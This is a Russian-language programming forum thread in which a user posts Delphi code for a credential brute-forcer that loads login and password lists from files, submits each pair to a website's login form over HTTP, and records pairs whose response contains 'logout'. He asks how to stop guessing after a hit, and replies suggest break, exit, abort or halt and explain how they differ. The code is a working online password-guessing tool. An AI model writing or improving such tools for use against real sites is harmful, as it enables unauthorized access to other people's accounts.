Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 04.01.2014, 05:18   #1
oteccc
Пользователь
 
Регистрация: 13.11.2013
Сообщений: 37
По умолчанию брут

Всем привет решил написать простой брут, но столкнулся с такой проблемой , когда брут находит валидный акканут , он продолжает подбирать под него пароли, как это исправить?

Код:

procedure TForm1.Button1Click(Sender: TObject);
var
  l,p: Integer;
  data, post, login, pass: TStringList;


begin

     login:= TStringList.Create;

     pass:= TStringList.Create;

     login.LoadFromFile(Edit1.text);
     pass.LoadFromFile(Edit2.text);

     data:= TStringList.Create;

     post:= TStringList.Create;

     for l:= 0 to login.Count-1 do
     for p:= 0 to pass.count-1 do
     begin
       data.Add('login_name='+ login.Strings[l]);
       data.Add('login_password='+ pass.Strings[p]);
       data.Add('login=submit');
       showmessage(IntToStr(l));
       post.Text:= idHTTP1.Post('http://сайт/', data);

       if Pos('logout', post.text)>0 then
       begin
       Memo3.Lines.Add(login.Strings[l]+ ';'+ pass.Strings[p])  ;

       end
       else
       Memo3.Lines.Add('ошибка: '+ login.Strings[l]+ ';'+ pass.Strings[p]);



     end;


end;
oteccc вне форума Ответить с цитированием
Старый 04.01.2014, 08:35   #2
Кольша
Далеко не
Участник клуба
 
Аватар для Кольша
 
Регистрация: 11.08.2011
Сообщений: 1,512
По умолчанию

exit;
break;
abort;
halt;
Кольша вне форума Ответить с цитированием
Старый 04.01.2014, 10:03   #3
oteccc
Пользователь
 
Регистрация: 13.11.2013
Сообщений: 37
По умолчанию

спасибо помог
oteccc вне форума Ответить с цитированием
Старый 04.01.2014, 12:01   #4
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

break достаточно, в данном случае, для циклов самое оно.
exit - выход из всего метода целиком.
halt - закрывает ПО притом не безопасно с точки зрения ОС и занятых ресурсов.
Человек_Борща вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
простой брут! TeliS Общие вопросы Delphi 4 04.11.2013 21:45
майл брут betirsolt Работа с сетью в Delphi 9 11.10.2009 18:19
Брут http на Delphi YO$YA Работа с сетью в Delphi 2 21.01.2009 21:00